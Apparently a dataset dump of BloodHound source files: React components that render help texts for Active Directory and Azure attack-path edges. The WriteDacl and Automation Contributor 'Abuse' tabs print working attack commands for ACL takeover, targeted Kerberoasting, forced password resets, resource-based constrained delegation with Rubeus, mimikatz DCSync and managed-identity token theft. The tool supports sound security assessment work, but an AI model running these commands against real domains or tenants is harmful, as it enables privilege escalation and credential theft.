text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Azure Automation Contributor role grants full control
of the target Azure Automation Account. This includes
the ability to execute arbitrary commands on the Automation
Account.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAutomationContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 66 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZAutomationContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZAutomationContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZAutomationContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAutomationContributor/AZAutomationContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 230 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
haslaps,
}) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
To abuse WriteDacl to a group object, you may grant
yourself the AddMember privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
<p>
You can now add members to the group using the net
binary or PowerView's Add-DomainGroupMember.
</p>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net group "Domain Admins"
harmj0y /add /domain). See the opsec considerations tab
for why this may be a bad idea. The second, and highly
recommended method, is by using the
Add-DomainGroupMember function in PowerView. This
function is superior to using the net.exe binary in
several ways. For instance, you can supply alternate
credentials, instead of needing to run a process as or
logon as the user with the AddMember privilege.
Additionally, you have much safer execution options than
you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Add-DomainGroupMember, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to
the group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>
{"Get-DomainGroupMember -Identity 'Domain Admins'"}
</code>
</pre>
<p>
Cleanup for this can be done using
Remove-DomainObjectAcl
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
</>
);
case 'User':
return (
<>
<p>
To abuse WriteDacl to a user object, you may grant
yourself the GenericAll privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using
PowerView's Set-DomainObject along with
Get-DomainSPNTicket.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObject, first
create a PSCredential object (these examples comes from
the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObject, optionally specifying $Cred
if you are not already running a process as {sourceName}
:
</p>
<pre>
<code>
{
"Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}"
}
</code>
</pre>
<p>
After running this, you can use Get-DomainSPNTicket as
follows:
</p>
<pre>
<code>
{
'Get-DomainSPNTicket -Credential $Cred harmj0y | fl'
}
</code>
</pre>
<p>
The recovered hash can be cracked offline using the tool
of your choice. Cleanup of the ServicePrincipalName can
be done with the Set-DomainObject command:
</p>
<pre>
<code>
{
'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname'
}
</code>
</pre>
<h4>Force Change Password</h4>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net user dfm.a Password123!
/domain). See the opsec considerations tab for why this
may be a bad idea. The second, and highly recommended
method, is by using the Set-DomainUserPassword function
in PowerView. This function is superior to using the
net.exe binary in several ways. For instance, you can
supply alternate credentials, instead of needing to run
a process as or logon as the user with the
ForceChangePassword privilege. Additionally, you have
much safer execution options than you do with spawning
net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Set-DomainUserPassword, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainUserPassword,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then create a secure string object for the password you
want to set on the target user:
</p>
<pre>
<code>
{
"$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force"
}
</code>
</pre>
<p>
Finally, use Set-DomainUserPassword, optionally
specifying $Cred if you are not already running a
process as {sourceName}:
</p>
<pre>
<code>
{
'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password,
you can either start a new agent as that user, or use
that user's credentials in conjunction with PowerView's
ACL abuse functions, or perhaps even RDP to a system the
target user has access to. For more ideas and
information, see the references tab.
</p>
<p>
Cleanup of the added ACL can be performed with
Remove-DomainObjectAcl:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<p>
To abuse WriteDacl to a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with
Add-DomainObjectAcl, first create a PSCredential
object (these examples comes from the PowerView help
documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you
may read the ms-Ads-AdmPwd attribute on the computer
object in LDAP which contains the local
administrator password.
</p>
<p>
Alternatively, you can execute a resource based
constrained delegation attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
</>
);
} else {
return (
<>
<p>
To abuse WriteDacl to a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with
Add-DomainObjectAcl, first create a PSCredential
object (these examples comes from the PowerView help
documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you
can execute a resource based constrained delegation
attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
</>
);
}
case 'Domain':
return (
<>
<p>
To abuse WriteDacl to a domain object, you may grant
yourself DCSync privileges.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you may
use the mimikatz dcsync function to dcsync the password
of arbitrary principals on the domain
</p>
<pre>
<code>
{
'lsadump::dcsync /domain:testlab.local /user:Administrator'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
<p>
You can also abuse this without using Windows-based
tooling if you are operating from a Linux host.
DCSync.py from n00py will let you authenticate with
either a plaintext password, NT hash, or kerberos
ticket:
</p>
<p>
To grant the "n00py" user DCSync privileges,
authenticating as the user "n00py" with the password
"Password123":
</p>
<pre>
<code>
{
"./dcsync.py -dc dc01.n00py.local -t 'CN=n00py,OU=Employees,DC=n00py,DC=local' n00pyAdministrator:Password123"
}
</code>
</pre>
<p>
Source:{' '}
<a href='path_to_url
path_to_url
</a>
</p>
</>
);
case 'GPO':
return (
<>
<p>
To abuse WriteDacl to a GPO object, you may grant
yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
<p>
With full control of a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse
</p>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
</>
);
case 'OU':
return (
<>
<h4>Control of the Organizational Unit</h4>
<p>
With WriteDACL access on the OU object, you may grant
yourself GenericAll against the OU, and then set another
ACE on the OU that will inherit down to its descendent
objects. First, you will need to set a GenericAll ACE
against the OU object itself. This can be accomplished
using the Add-DomainObjectAcl function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}{' '}
if you are not running a process as a member of that
group. To do this in conjunction with
Add-DomainObjectACL, first create a PSCredential object
(these examples comes from the PowerView help
documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as a
member of (group that holds the ACE against the OU):
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity (OU GUID) -Rights All'
}
</code>
</pre>
<p>
With full control of the OU, you may now add a new ACE
on the OU that will inherit down to the objects under
that OU. Below are two options depending on how targeted
you choose to be in this step:
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. Again, this
can be done using PowerView. This time we will use the
New-ADObjectAccessControlEntry, which gives us more
control over the ACE we add to the OU.
</p>
<p>
First, we need to reference the OU by its ObjectGUID,
not its name. The ObjectGUID for the OU {targetName} is:{' '}
{targetId}.
</p>
<p>
Next, we will fetch the GUID for all objects. This
should be{' '}
<code>00000000-0000-0000-0000-000000000000</code>:
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name"}
</code>
</pre>
<p>
Then we will construct our ACE. This command will create
an ACE granting the "JKHOLER" user full control of all
descendant objects:
</p>
<pre>
<code>
{
"$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid"
}
</code>
</pre>
<p>Finally, we will apply this ACE to our target OU:</p>
<pre>
<code>
{'$OU = Get-DomainOU -Raw (OU GUID)\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
You could, for example, grant a user
"ForceChangePassword" privilege against all user
objects, or grant a security group the ability to read
every GMSA password under a certain OU. Below is an
example taken from PowerView's help text on how to grant
the "ITADMIN" user the ability to read the LAPS password
from all computer objects in the "Workstations" OU:
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name\n" +
"$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name\n" +
'$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid\n' +
'$OU = Get-DomainOU -Raw Workstations\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
</>
);
}
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
haslaps: PropTypes.bool,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 7,320 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
Andy Robbins - BARK.ps1
</a>
<br />
<a href='path_to_url
Andy Robbins - Managed Identity Attack Paths, Part 1: Automation Accounts
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAutomationContributor/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 82 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
This will depend on which particular abuse you perform, but in
general Azure will create a log event for each abuse.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAutomationContributor/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 59 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can use BARK's New-AzureAutomationAccountRunBook and
Get-AzureAutomationAccountRunBookOutput functions to execute
arbitrary commands against the target Automation Account.
</p>
<p>
These functions require you to supply an Azure Resource Manager
scoped JWT associated with the principal that has the privilege
to add or modify and run Automation Account run books. There are
several ways to acquire a JWT. For example, you may use BARK's
Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
by supplying a refresh token:
</p>
<pre>
<code>
{
'$ARMToken = Get-ARMTokenWithRefreshToken ` \n' +
' -RefreshToken "0.ARwA6WgJJ9X2qk" ` \n' +
' -TenantID "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Now you can use BARK's New-AzureAutomationAccountRunBook function
to add a new runbook to the target Automation Account, specifying
a command to execute using the -Script parameter:
</p>
<pre>
<code>
{
'New-AzureAutomationAccountRunBook `\n' +
' -Token $ARMToken `\n' +
' -RunBookName "MyCoolRunBook" `\n' +
' -AutomationAccountPath "path_to_url" `\n' +
' -Script "whoami"'
}
</code>
</pre>
<p>
After adding the new runbook, you must execute it and fetch its
output. You can do this automatically with BARK's
Get-AzureAutomationAccountRunBookOutput function:
</p>
<pre>
<code>
{
'Get-AzureAutomationAccountRunBookOutput `\n' +
' -Token $ARMToken `\n' +
' -RunBookName "MyCoolRunBook" `\n' +
' -AutomationAccountPath "path_to_url"'
}
</code>
</pre>
<p>
If the Automation Account has a managed identity assignment, you can use
these two functions to retrieve a JWT for the service principal like this:
</p>
<pre>
<code>
{
'$Script = $tokenAuthURI = $env:MSI_ENDPOINT + "?resource=path_to_url"; $tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI; $tokenResponse.access_token\n' +
'New-AzureAutomationAccountRunBook -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "path_to_url" -Script $Script\n' +
'Get-AzureAutomationAccountRunBookOutput -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "path_to_url"'
}
</code>
</pre>
<p>
If successful, the output will include a JWT for the managed identity
service principal.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAutomationContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 721 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const MemberOf = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='GENERAL'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
MemberOf.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default MemberOf;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/MemberOf/MemberOf.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 247 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
The {typeFormat(sourceType)} {sourceName} is a member of the
group {targetName}.
</p>
<p>
Groups in active directory grant their members any privileges
the group itself has. If a group has rights to another
principal, users/computers in the group, as well as other groups
inside the group inherit those permissions.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/MemberOf/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 168 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
No abuse is necessary. This edge simply indicates that a principal
belongs to a security group.
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/MemberOf/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 52 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url '>
path_to_url{' '}
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/MemberOf/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 69 |
```jsx
import React from 'react';
const Opsec = () => {
return <p>No opsec considerations apply to this edge.</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/MemberOf/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 35 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Logic Contributor role grants full control
of the target Logic App. This includes the ability
to execute arbitrary commands on the Logic App.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZLogicAppContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 62 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
Currently you need access to the portal GUI to execute this abuse.
</p>
<p>
The abuse involves adding or modifying an existing logic app to coerce
the logic app into sending a JWT for its managed identity service principal
to a web server you control.
</p>
<p>
You can see a full walkthrough for executing that abuse in this blog post:
</p>
<p>
<a href='path_to_url
Andy Robbins - Managed Identity Attack Paths, Part 2: Logic Apps
</a>
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZLogicAppContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 155 |
```jsx
import React from 'react';
